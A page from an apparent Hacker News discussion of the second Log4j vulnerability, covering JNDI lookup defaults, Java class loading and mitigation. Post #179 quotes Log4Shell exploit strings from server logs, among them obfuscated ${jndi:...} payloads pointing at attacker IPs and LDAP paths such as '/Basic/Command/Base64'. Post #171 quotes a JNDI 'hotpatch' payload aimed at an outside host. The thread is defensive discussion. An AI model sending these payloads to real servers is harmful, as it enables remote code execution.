Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

171–180 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#171

Post by sporkland »

freeqaz wrote: post #140
freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell) I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep! Good night, y'all. :) 0: https://www.lunasec.io/docs/blog/log4she…

I'm seeing instances of it making the debt worse rather than better. E.g. some folks are just forcing latest log4j libs into builds even for services that don't have it or need it in central dependencies, as it's more expedient than trying to be precise and only bump where necessary.

Leading to more risk over time.

Re: Log4Shell update: second Log4j vulnerability published

#172

Post by kune »

mac-chaffee wrote: post #30
jancsika wrote: post #22

Who was the customer or class of customer that uses this string interpolation business? Edit: also, why was this feature requested in the first place?

Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.

The change request talks about configuration files as the Apache documentation. Why did they use it for messages? Was this misunderstood?

Re: Log4Shell update: second Log4j vulnerability published

#173

Post by rightbyte »

qalmakka wrote: post #162

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

Why? It is the equivalent thing to download elf-files for Java.

Re: Log4Shell update: second Log4j vulnerability published

#174

Post by fiedzia »

shp0ngle wrote: post #38
GenerocUsername wrote: post #34

The one thing we can all be sure of though is that our elections are the most secure.

Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate

You can in some countries (Sweden and Austria, and some US states, according to https://en.wikipedia.org/wiki/Write-in_candidate), so go for it.

Re: Log4Shell update: second Log4j vulnerability published

#175

Post by zorr »

kune wrote: post #172
mac-chaffee wrote: post #30

Earlier quoted context omitted.

Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.

The change request talks about configuration files as the Apache documentation. Why did they use it for messages? Was this misunderstood?

I haven't validated this assumption but it looks like the patch was rather naive and added the jndi lookup to the Interpolator class and only tested for its usage in the configuration. Being unaware that the interpolator also runs on the full message.

Re: Log4Shell update: second Log4j vulnerability published

#176

Post by thomond »

nyanpasu64 wrote: post #43

> Log4j 2.16.0 completely mitigates this issue by removing support for message lookup patterns and disabling JNDI functionality by default. I think this should've happened from the beginning.

It really re-enforces the idea of sane defaults. How many end users of a logging framework would even need JNDI functionality?

Re: Log4Shell update: second Log4j vulnerability published

#177

Post by ahtihn »

bullen wrote: post #94

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…

Please handle logging levels, control of logging levels by package, log file rotation and logging to stdout instead or in addition to a file. Also, log statements should contain the calling class and method. Please also make sure that your logging implementation can be used by any libraries that you reference, I'd like to have their logs in the same format as the application logs and be able to control their level as well.

Do you still want to build something from scratch and maintain it yourself? Or would you rather not waste weeks of your time reinventing something that already exists and that other developers are already familiar with?

Re: Log4Shell update: second Log4j vulnerability published

#178

Post by eMGm4D0zgUAVXc7 »

runeks wrote: post #170
qalmakka wrote: post #162

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

Agreed. Loading and running arbitrary Java byte code should not be possible from user code. Only the runtime system should have this ability.

How do you want to write software which supports plugins then?

Force the user to restart everything if they need a plugin?

Or do you want to force developers to only ever write monolithic software now?

Re: Log4Shell update: second Log4j vulnerability published

#179

Post by iso1631 »

shushpanchik wrote: post #152
azifali wrote: post #84

We have published a mitigation for K8s which could be applied by 1. blocking outbound jndi lookups through a network policy 2. Blocking possible execs from the Java Process: https://blog.accuknox.com/log-4j-exploit-and-mitigation/

As I understood, your policy blocks LDAP port (389). All of the scanning I see in logs at the moment use port 80: "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"

Last ones I've seen

jndi:dns://ip.address.scanworld.net/ref

jndi:ldap://162.55.90.26/222xxxx905/C

jndi:ldap://195.54.160.149:12344/Basic/Command/Base64...

jndi:ldap://45.130.229.168:1389/Exploit

{${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64....

Surprisingly very few attempts via http calls, and while some are on default ports, most aren't.

I think most obvious attack methods will have been closed. It's the routes like "naming a rogue AP" method that will be interesting.

Re: Log4Shell update: second Log4j vulnerability published

#180

Post by eMGm4D0zgUAVXc7 »

qalmakka wrote: post #162

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

Do you want Java to do deep packet inspection on all network traffic?

Because Java supports naked sockets [1], so that is what you would have to do to block the network traffic from containing .class files.

(Or remove the capability of real networking. I suppose we can agree that a language which doesn't support networking is quite limited in its use nowadays?)

[1] https://docs.oracle.com/en/java/javase/16/docs/api/java.base...

Post reply on HN